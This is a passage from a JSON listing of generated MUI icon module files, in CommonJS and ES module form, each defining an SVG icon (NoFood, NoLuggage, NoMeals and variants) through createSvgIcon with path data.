    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13.42 16.24 2.55 2.55-.01 1.21H4v-8.6h3.02l.59-.65.15-.16 1.5 1.5c-1.58.34-2.76 1.73-2.76 3.41 0 1.93 1.57 3.5 3.5 3.5 1.68 0 3.07-1.18 3.42-2.76M16 13.17V11.4h-1.77z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.4 5.6H22L19 11V7h-1V2h4zM16 11.4v1.77l2 2V11c0-.88-.72-1.6-1.6-1.6h-2.54L12.58 8h-1.75l3.4 3.4zm1.97 6.57L2.1 2.1.69 3.51l5.66 5.66-.21.23H3.6c-.88 0-1.6.72-1.6 1.6v9.4c0 .88.72 1.6 1.6 1.6h12.8c.75 0 1.38-.52 1.55-1.22l2.54 2.54 1.41-1.41zM11.5 15.5c0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5S9.17 14 10 14s1.5.67 1.5 1.5m4.46 4.5H4v-8.6h3.02l.59-.65.15-.16 1.5 1.5c-1.58.34-2.76 1.73-2.76 3.41 0 1.93 1.57 3.5 3.5 3.5 1.68 0 3.07-1.18 3.42-2.76l2.55 2.55z\"\n}, \"1\")], 'NoFlashTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoFlashTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m13.42 16.24 2.55 2.55-.01 1.21H4v-8.6h3.02l.59-.65.15-.16 1.5 1.5c-1.58.34-2.76 1.73-2.76 3.41 0 1.93 1.57 3.5 3.5 3.5 1.68 0 3.07-1.18 3.42-2.76M16 13.17V11.4h-1.77z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.4 5.6H22L19 11V7h-1V2h4zM16 11.4v1.77l2 2V11c0-.88-.72-1.6-1.6-1.6h-2.54L12.58 8h-1.75l3.4 3.4zm1.97 6.57L2.1 2.1.69 3.51l5.66 5.66-.21.23H3.6c-.88 0-1.6.72-1.6 1.6v9.4c0 .88.72 1.6 1.6 1.6h12.8c.75 0 1.38-.52 1.55-1.22l2.54 2.54 1.41-1.41zM11.5 15.5c0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5S9.17 14 10 14s1.5.67 1.5 1.5m4.46 4.5H4v-8.6h3.02l.59-.65.15-.16 1.5 1.5c-1.58.34-2.76 1.73-2.76 3.41 0 1.93 1.57 3.5 3.5 3.5 1.68 0 3.07-1.18 3.42-2.76l2.55 2.55z\"\n}, \"1\")], 'NoFlashTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoFood.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.35 8.52 11 5h5V1h2v4h5l-1.38 13.79zM1 21v1c0 .55.45 1 1 1h13c.55 0 1-.45 1-1v-1zm20.9.9L2.1 2.1.69 3.51l5.7 5.7C3.28 9.87 1 11.99 1 15h11.17l2 2H1v2h15v-.17l4.49 4.49z\"\n}), 'NoFood');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoFood.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.35 8.52 11 5h5V1h2v4h5l-1.38 13.79zM1 21v1c0 .55.45 1 1 1h13c.55 0 1-.45 1-1v-1zm20.9.9L2.1 2.1.69 3.51l5.7 5.7C3.28 9.87 1 11.99 1 15h11.17l2 2H1v2h15v-.17l4.49 4.49z\"\n}), 'NoFood');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoFoodOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 21h15.01v.98c0 .56-.45 1.01-1.01 1.01H2.01c-.56 0-1.01-.45-1.01-1.01zm19.49 2.31L16 18.83V19H1v-2h13.17l-2-2H1c0-3.24 2.46-5.17 5.38-5.79l-5.7-5.7L2.1 2.1 13 13l2 2 6.9 6.9zM10.17 13l-2-2c-1.42.06-3.52.56-4.55 2zM23 5h-5V1h-2v4h-5l.23 2h9.56l-1 9.97 1.83 1.83z\"\n}), 'NoFoodOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoFoodOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 21h15.01v.98c0 .56-.45 1.01-1.01 1.01H2.01c-.56 0-1.01-.45-1.01-1.01zm19.49 2.31L16 18.83V19H1v-2h13.17l-2-2H1c0-3.24 2.46-5.17 5.38-5.79l-5.7-5.7L2.1 2.1 13 13l2 2 6.9 6.9zM10.17 13l-2-2c-1.42.06-3.52.56-4.55 2zM23 5h-5V1h-2v4h-5l.23 2h9.56l-1 9.97 1.83 1.83z\"\n}), 'NoFoodOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoFoodRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 22c0 .55-.45 1-1 1H2c-.55 0-1-.45-1-1s.45-1 1-1h13c.55 0 1 .45 1 1m6.89-15.9c.06-.59-.4-1.1-.99-1.1H18V2c0-.55-.45-1-1-1s-1 .45-1 1v3h-3.9c-.59 0-1.05.51-1 1.1l.24 2.41L18 15.17l3.62 3.62zm-1.7 16.51c.39-.39.39-1.02 0-1.41L12 12 9.01 9.01l-6.2-6.2a.996.996 0 0 0-1.41 0C1 3.2 1 3.83 1.39 4.22l4.99 4.99c-2.56.54-4.76 2.08-5.28 4.63-.11.61.39 1.16 1 1.16h10.07l2 2H2c-.55 0-1 .45-1 1s.45 1 1 1h13c.32 0 .59-.16.78-.4l4 4c.39.4 1.02.4 1.41.01\"\n}), 'NoFoodRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoFoodRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 22c0 .55-.45 1-1 1H2c-.55 0-1-.45-1-1s.45-1 1-1h13c.55 0 1 .45 1 1m6.89-15.9c.06-.59-.4-1.1-.99-1.1H18V2c0-.55-.45-1-1-1s-1 .45-1 1v3h-3.9c-.59 0-1.05.51-1 1.1l.24 2.41L18 15.17l3.62 3.62zm-1.7 16.51c.39-.39.39-1.02 0-1.41L12 12 9.01 9.01l-6.2-6.2a.996.996 0 0 0-1.41 0C1 3.2 1 3.83 1.39 4.22l4.99 4.99c-2.56.54-4.76 2.08-5.28 4.63-.11.61.39 1.16 1 1.16h10.07l2 2H2c-.55 0-1 .45-1 1s.45 1 1 1h13c.32 0 .59-.16.78-.4l4 4c.39.4 1.02.4 1.41.01\"\n}), 'NoFoodRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoFoodSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.35 8.52 11 5h5V1h2v4h5l-1.38 13.79L18 15.17zM21.9 21.9 2.1 2.1.69 3.51l5.7 5.7C3.46 9.83 1 11.76 1 15h11.17l2 2H1v2h15v-.17l4.49 4.49zM1 23h15v-2H1z\"\n}), 'NoFoodSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoFoodSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.35 8.52 11 5h5V1h2v4h5l-1.38 13.79L18 15.17zM21.9 21.9 2.1 2.1.69 3.51l5.7 5.7C3.46 9.83 1 11.76 1 15h11.17l2 2H1v2h15v-.17l4.49 4.49zM1 23h15v-2H1z\"\n}), 'NoFoodSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoFoodTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.16 11c-1.43.07-3.52.57-4.54 2h6.55z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 21h15.01v.98c0 .56-.45 1.01-1.01 1.01H2.01c-.56 0-1.01-.45-1.01-1.01zm19.49 2.31L16 18.83V19H1v-2h13.17l-2-2H1c0-3.24 2.46-5.17 5.38-5.79l-5.7-5.7L2.1 2.1 13 13l2 2 6.9 6.9zM10.17 13l-2-2c-1.42.06-3.52.56-4.55 2zM23 5h-5V1h-2v4h-5l.23 2h9.56l-1 9.97 1.83 1.83z\"\n}, \"1\")], 'NoFoodTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoFoodTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.16 11c-1.43.07-3.52.57-4.54 2h6.55z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 21h15.01v.98c0 .56-.45 1.01-1.01 1.01H2.01c-.56 0-1.01-.45-1.01-1.01zm19.49 2.31L16 18.83V19H1v-2h13.17l-2-2H1c0-3.24 2.46-5.17 5.38-5.79l-5.7-5.7L2.1 2.1 13 13l2 2 6.9 6.9zM10.17 13l-2-2c-1.42.06-3.52.56-4.55 2zM23 5h-5V1h-2v4h-5l.23 2h9.56l-1 9.97 1.83 1.83z\"\n}, \"1\")], 'NoFoodTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoLuggage.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.75 9v.92l1.75 1.75V9H16v4.17l3 3V8c0-1.1-.9-2-2-2h-2V3c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1v3h-.17l3 3zM10.5 3.5h3V6h-3zm10.69 17.69L2.81 2.81 1.39 4.22l3.63 3.63c0 .05-.02.1-.02.15v11c0 1.1.9 2 2 2 0 .55.45 1 1 1s1-.45 1-1h6c0 .55.45 1 1 1s1-.45 1-1c.34 0 .65-.09.93-.24l1.85 1.85zM8 18v-7.17l1.5 1.5V18zm4.75 0h-1.5v-3.92l1.5 1.5z\"\n}), 'NoLuggage');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoLuggage.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.75 9v.92l1.75 1.75V9H16v4.17l3 3V8c0-1.1-.9-2-2-2h-2V3c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1v3h-.17l3 3zM10.5 3.5h3V6h-3zm10.69 17.69L2.81 2.81 1.39 4.22l3.63 3.63c0 .05-.02.1-.02.15v11c0 1.1.9 2 2 2 0 .55.45 1 1 1s1-.45 1-1h6c0 .55.45 1 1 1s1-.45 1-1c.34 0 .65-.09.93-.24l1.85 1.85zM8 18v-7.17l1.5 1.5V18zm4.75 0h-1.5v-3.92l1.5 1.5z\"\n}), 'NoLuggage');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoLuggageOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16 13.17-1.5-1.5V9H16zm3.78 9.44-1.85-1.85c-.28.15-.59.24-.93.24 0 .55-.45 1-1 1s-1-.45-1-1H9c0 .55-.45 1-1 1s-1-.45-1-1c-1.1 0-2-.9-2-2V8c0-.05.02-.1.02-.15L1.39 4.22 2.8 2.81l18.38 18.38zM16.17 19l-3.42-3.42V18h-1.5v-3.92L9.5 12.33V18H8v-7.17l-1-1V19zM12.75 9h-.92l.92.92zM19 8v8.17l-2-2V8h-6.17l-.99-.99L9 6.17V3c0-.55.45-1 1-1h4c.55 0 1 .45 1 1v3h2c1.1 0 2 .9 2 2m-8.5-2h3V3.5h-3z\"\n}), 'NoLuggageOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoLuggageOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16 13.17-1.5-1.5V9H16zm3.78 9.44-1.85-1.85c-.28.15-.59.24-.93.24 0 .55-.45 1-1 1s-1-.45-1-1H9c0 .55-.45 1-1 1s-1-.45-1-1c-1.1 0-2-.9-2-2V8c0-.05.02-.1.02-.15L1.39 4.22 2.8 2.81l18.38 18.38zM16.17 19l-3.42-3.42V18h-1.5v-3.92L9.5 12.33V18H8v-7.17l-1-1V19zM12.75 9h-.92l.92.92zM19 8v8.17l-2-2V8h-6.17l-.99-.99L9 6.17V3c0-.55.45-1 1-1h4c.55 0 1 .45 1 1v3h2c1.1 0 2 .9 2 2m-8.5-2h3V3.5h-3z\"\n}), 'NoLuggageOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoLuggageRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.49 20.49 3.51 3.51a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l2.92 2.92c0 .06-.02.11-.02.16v11c0 1.1.9 2 2 2 0 .55.45 1 1 1s1-.45 1-1h6c0 .55.45 1 1 1s1-.45 1-1c.34 0 .65-.09.93-.24l1.14 1.14c.39.39 1.02.39 1.41 0 .4-.39.4-1.02.01-1.41M8.75 18c-.41 0-.75-.34-.75-.75v-6.42l1.5 1.5v4.92c0 .41-.34.75-.75.75M12 18c-.41 0-.75-.34-.75-.75v-3.17l1.5 1.5v1.67c0 .41-.34.75-.75.75m0-9c.41 0 .75.34.75.75v.17l1.75 1.75V9.75c0-.41.34-.75.75-.75s.75.34.75.75v3.42l3 3V8c0-1.1-.9-2-2-2h-2V3c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1v3h-.17l3.03 3.03c.05-.01.09-.03.14-.03m-1.5-5.5h3V6h-3z\"\n}), 'NoLuggageRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoLuggageRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.49 20.49 3.51 3.51a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l2.92 2.92c0 .06-.02.11-.02.16v11c0 1.1.9 2 2 2 0 .55.45 1 1 1s1-.45 1-1h6c0 .55.45 1 1 1s1-.45 1-1c.34 0 .65-.09.93-.24l1.14 1.14c.39.39 1.02.39 1.41 0 .4-.39.4-1.02.01-1.41M8.75 18c-.41 0-.75-.34-.75-.75v-6.42l1.5 1.5v4.92c0 .41-.34.75-.75.75M12 18c-.41 0-.75-.34-.75-.75v-3.17l1.5 1.5v1.67c0 .41-.34.75-.75.75m0-9c.41 0 .75.34.75.75v.17l1.75 1.75V9.75c0-.41.34-.75.75-.75s.75.34.75.75v3.42l3 3V8c0-1.1-.9-2-2-2h-2V3c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1v3h-.17l3.03 3.03c.05-.01.09-.03.14-.03m-1.5-5.5h3V6h-3z\"\n}), 'NoLuggageRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoLuggageSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.75 9v.92l1.75 1.75V9H16v4.17l3 3V6h-4V2H9v4h-.17l3 3zM10.5 3.5h3V6h-3zm10.69 17.69L2.81 2.81 1.39 4.22 5 7.83V21h2v1h2v-1h6v1h2v-1h1.17l1.61 1.61zM8 18v-7.17l1.5 1.5V18zm3.25 0v-3.92l1.5 1.5V18z\"\n}), 'NoLuggageSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoLuggageSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.75 9v.92l1.75 1.75V9H16v4.17l3 3V6h-4V2H9v4h-.17l3 3zM10.5 3.5h3V6h-3zm10.69 17.69L2.81 2.81 1.39 4.22 5 7.83V21h2v1h2v-1h6v1h2v-1h1.17l1.61 1.61zM8 18v-7.17l1.5 1.5V18zm3.25 0v-3.92l1.5 1.5V18z\"\n}), 'NoLuggageSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoLuggageTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16.17 19-3.42-3.42V18h-1.5v-3.92L9.5 12.33V18H8v-7.17l-1-1V19zM17 8v6.17l-1-1V9h-1.5v2.67l-1.75-1.75V9h-.92l-1-1z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16 13.17-1.5-1.5V9H16zm3.78 9.44-1.85-1.85c-.28.15-.59.24-.93.24 0 .55-.45 1-1 1s-1-.45-1-1H9c0 .55-.45 1-1 1s-1-.45-1-1c-1.1 0-2-.9-2-2V8c0-.05.02-.1.02-.15L1.39 4.22 2.8 2.81l18.38 18.38zM16.17 19l-3.42-3.42V18h-1.5v-3.92L9.5 12.33V18H8v-7.17l-1-1V19zM12.75 9h-.92l.92.92zM19 8v8.17l-2-2V8h-6.17l-.99-.99L9 6.17V3c0-.55.45-1 1-1h4c.55 0 1 .45 1 1v3h2c1.1 0 2 .9 2 2m-8.5-2h3V3.5h-3z\"\n}, \"1\")], 'NoLuggageTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoLuggageTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16.17 19-3.42-3.42V18h-1.5v-3.92L9.5 12.33V18H8v-7.17l-1-1V19zM17 8v6.17l-1-1V9h-1.5v2.67l-1.75-1.75V9h-.92l-1-1z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m16 13.17-1.5-1.5V9H16zm3.78 9.44-1.85-1.85c-.28.15-.59.24-.93.24 0 .55-.45 1-1 1s-1-.45-1-1H9c0 .55-.45 1-1 1s-1-.45-1-1c-1.1 0-2-.9-2-2V8c0-.05.02-.1.02-.15L1.39 4.22 2.8 2.81l18.38 18.38zM16.17 19l-3.42-3.42V18h-1.5v-3.92L9.5 12.33V18H8v-7.17l-1-1V19zM12.75 9h-.92l.92.92zM19 8v8.17l-2-2V8h-6.17l-.99-.99L9 6.17V3c0-.55.45-1 1-1h4c.55 0 1 .45 1 1v3h2c1.1 0 2 .9 2 2m-8.5-2h3V3.5h-3z\"\n}, \"1\")], 'NoLuggageTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoMeals.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 14V6c0-1.76 2.24-4 5-4v16.17l-2-2V14zm4.49 9.31L10.02 12.85c-.33.09-.66.15-1.02.15v9H7v-9c-2.21 0-4-1.79-4-4V5.83L.69 3.51 2.1 2.1l19.8 19.8zM6.17 9 5 7.83V9zM9 2H7v2.17l2 2zm4 7V2h-2v6.17l1.85 1.85c.09-.33.15-.66.15-1.02\"\n}), 'NoMeals');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoMeals.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 14V6c0-1.76 2.24-4 5-4v16.17l-2-2V14zm4.49 9.31L10.02 12.85c-.33.09-.66.15-1.02.15v9H7v-9c-2.21 0-4-1.79-4-4V5.83L.69 3.51 2.1 2.1l19.8 19.8zM6.17 9 5 7.83V9zM9 2H7v2.17l2 2zm4 7V2h-2v6.17l1.85 1.85c.09-.33.15-.66.15-1.02\"\n}), 'NoMeals');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoMealsOuline.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 14V6c0-1.76 2.24-4 5-4v16.17l-2-2V14zm4.49 9.31L10.02 12.85c-.33.09-.66.15-1.02.15v9H7v-9c-2.21 0-4-1.79-4-4V5.83L.69 3.51 2.1 2.1l19.8 19.8zM6.17 9 5 7.83V9zM9 2H7v2.17l2 2zm4 7V2h-2v6.17l1.85 1.85c.09-.33.15-.66.15-1.02\"\n}), 'NoMealsOuline');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoMealsOuline.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 14V6c0-1.76 2.24-4 5-4v16.17l-2-2V14zm4.49 9.31L10.02 12.85c-.33.09-.66.15-1.02.15v9H7v-9c-2.21 0-4-1.79-4-4V5.83L.69 3.51 2.1 2.1l19.8 19.8zM6.17 9 5 7.83V9zM9 2H7v2.17l2 2zm4 7V2h-2v6.17l1.85 1.85c.09-.33.15-.66.15-1.02\"\n}), 'NoMealsOuline');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoMealsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 14V6c0-1.76 2.24-4 5-4v16.17l-2-2V14zm4.49 9.31L10.02 12.85c-.33.09-.66.15-1.02.15v9H7v-9c-2.21 0-4-1.79-4-4V5.83L.69 3.51 2.1 2.1l19.8 19.8zM6.17 9 5 7.83V9zM9 2H7v2.17l2 2zm4 7V2h-2v6.17l1.85 1.85c.09-.33.15-.66.15-1.02\"\n}), 'NoMealsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoMealsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 14V6c0-1.76 2.24-4 5-4v16.17l-2-2V14zm4.49 9.31L10.02 12.85c-.33.09-.66.15-1.02.15v9H7v-9c-2.21 0-4-1.79-4-4V5.83L.69 3.51 2.1 2.1l19.8 19.8zM6.17 9 5 7.83V9zM9 2H7v2.17l2 2zm4 7V2h-2v6.17l1.85 1.85c.09-.33.15-.66.15-1.02\"\n}), 'NoMealsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoMealsRounded.js",
